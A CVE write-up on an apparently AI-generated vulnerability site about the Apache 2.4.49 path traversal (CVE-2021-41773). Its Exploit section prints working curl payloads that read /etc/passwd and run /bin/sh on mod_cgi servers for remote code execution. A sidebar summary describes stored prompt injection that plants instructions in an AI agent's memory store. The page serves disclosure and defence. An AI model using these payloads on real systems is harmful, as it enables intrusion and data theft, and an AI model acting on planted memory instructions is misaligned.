CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2021-41773

CVE-2021-41773: The Path to Pwnage in Apache 2.4.49

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·5 min read·63 visits

Executive Summary (TL;DR)

Apache 2.4.49 introduced a path traversal vulnerability due to flawed URL normalization logic. Attackers could map URLs to files outside the web root using encoded dot segments (e.g., '.%2e'). If mod_cgi was enabled, this allowed for RCE. The vulnerability was actively exploited in the wild.

In late 2021, the Apache HTTP Server developers released version 2.4.49, intended to include a variety of optimizations and compliance updates. Ironically, in an attempt to improve path normalization (making sure URLs are clean and safe), they introduced a trivial logic error that allowed attackers to bypass directory restrictions entirely. This wasn't just a read-only vulnerability; on configurations with mod_cgi enabled, it escalated immediately to Remote Code Execution (RCE), allowing unauthenticated attackers to execute commands as the daemon user. It stands as a classic example of how C pointer arithmetic and string parsing can go horribly wrong.

The Hook: An Optimization Gone Wrong

For years, Apache HTTP Server (httpd) has been the workhorse of the internet. It's boring, reliable, and generally secure. But in version 2.4.49, the developers decided to refactor the path normalization logic—specifically the ap_normalize_path function in server/util.c. The goal was noble: improve RFC 1808 compliance and perhaps squeeze out a little more performance.

Here is the thing about parsing strings in C: it is a minefield. You are managing pointers, memory buffers, and encoding states all at once. The developers wanted to strip out path traversal sequences like ../ to ensure users couldn't break out of the web root. However, they failed to account for the order of operations when URL-decoding characters.

This vulnerability is particularly embarrassing because it affects a specific version (2.4.49) so severely that it feels like a CTF challenge rather than enterprise software. It proves that even the most mature projects can introduce catastrophic bugs when touching legacy core components.

The Flaw: A Lesson in Pointer Arithmetic

The root cause lies in how ap_normalize_path handles URL decoding. The function iterates through the URI string, looking for dot-dot-slash sequences to remove. Simultaneously, it decodes URL-encoded characters (like %2e for .).

The logic failure was subtle but fatal. The function checks for ../ sequences before fully resolving the decoded characters in the current context. When an attacker sends .%2e/ (which translates to ../), the normalization routine sees a literal dot, followed by a percent sign. It doesn't trigger the ../ removal logic because, at that exact moment in the loop, it doesn't look like a traversal sequence.

After the check passes, the function decodes %2e into a .. The result in memory becomes ../, but the security check has already moved its pointer past the beginning of the sequence. It effectively validated the disguise rather than the face behind the mask. The code essentially said, "You look like a dot and a percent sign, come on in," and then the percent sign took off its mask to reveal another dot, completing the traversal.

The Code: Breaking ap_normalize_path

Let's look at the logic flow conceptually. The vulnerable code in server/util.c was trying to collapse paths.

In a healthy state, if you send ../, the server collapses it. If you send %2e%2e/, the server decodes it to ../ and should re-scan or handle it. In 2.4.49, the loop logic was effectively:

  1. Scan character.
  2. Is it a traversal sequence? No.
  3. Is it encoded? Yes, decode it.
  4. Advance pointer.

By sending .%2e/, the first dot is literal. The %2e is decoded to a dot in place. The string becomes ../, but the loop has finished validating the position where the traversal check would have triggered. The server effectively constructs a path pointing to the parent directory and hands it off to the file handler.

This meant that /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd would successfully traverse out of the /icons/ alias (which exists by default) and climb up to the root filesystem.

The Exploit: From Traversal to RCE

Exploiting this is trivially easy, but you need a client that doesn't try to be smart. Browsers and standard curl commands will normalize the path before sending it, killing the exploit. You must use curl --path-as-is.

Level 1: Local File Inclusion (LFI) To steal /etc/passwd, we just need to find a directory that has an Alias configured (like /icons/ or /assets/) and traverse out of it.

curl -v --path-as-is "http://target.com/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Level 2: Remote Code Execution (RCE) This is where it gets dark. If mod_cgi is enabled (common in older deployments or specific enterprise apps), we can traverse not just to a text file, but to an executable binary. By traversing to /bin/sh, we can force Apache to execute the shell.

curl -v --path-as-is "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
    -d "echo Content-Type: text/plain; echo; id"

If successful, the server executes /bin/sh, pipes the POST body into stdin, and returns the output of id. You are now www-data (or worse).

The Impact: Why This Matters

The CVSS score is 9.8 for a reason. This isn't a complex heap overflow requiring a specific memory layout. This is a logic bug that works 100% of the time on vulnerable configurations.

The impact is bifurcated:

  1. Information Disclosure: Attackers can read configuration files, source code, and credentials stored on the filesystem. This often leads to further compromise (e.g., finding database passwords).
  2. Remote Code Execution: With mod_cgi, the server is completely compromised. Ransomware gangs immediately added this to their toolkits because it offers a low-effort entry point into corporate networks.

What makes this terrifying is the EPSS score of nearly 95%. It is actively scanned for and exploited by bots every single day.

The Fix: A Tale of Two Patches

Apache initially released version 2.4.50 to fix this. However, in a comedic twist, the fix was incomplete. They simply checked for the .%2e sequence but failed to account for double-encoding (e.g., %%32%65). This led to CVE-2021-42013, which was effectively the exact same vulnerability, just with a slightly different payload.

The Real Solution: Upgrade to Apache 2.4.51 or later immediately. This version correctly handles path normalization by aggressively decoding and validating path segments before using them.

Mitigation Strategies: If you cannot upgrade (why?), you can use mod_rewrite to block these patterns, but that is a band-aid. The only true fix is binary replacement.

Require all denied

Ensure your <Directory /> block is set to deny all access by default. This prevents the server from serving files from root even if the traversal succeeds.

Official Patches

ApacheApache HTTP Server 2.4 vulnerabilities list

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
94.39%
Top 0% most exploited

Affected Systems

Apache HTTP Server 2.4.49

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache HTTP Server
Apache
2.4.492.4.51
AttributeDetail
CWE IDCWE-22
Attack VectorNetwork
CVSS v3.19.8 (Critical)
EPSS Score0.94391
ImpactRCE / Information Disclosure
Exploit StatusActive

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1083File and Directory Discovery
Discovery
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

MetasploitApache HTTP Server Path Traversal and RCE module
GitHubPython PoC for LFI and RCE

Vulnerability Timeline

Vulnerability reported to Apache
2021-09-29
Apache 2.4.50 released (flawed fix)
2021-10-04
Public disclosure and active exploitation
2021-10-05
Apache 2.4.51 released (real fix)
2021-10-07
Added to CISA KEV
2021-11-03

References & Sources

  • [1]NVD Entry for CVE-2021-41773
  • [2]CISA KEV Catalog
Related Vulnerabilities
CVE-2021-42013

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
10 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
15 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
18 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read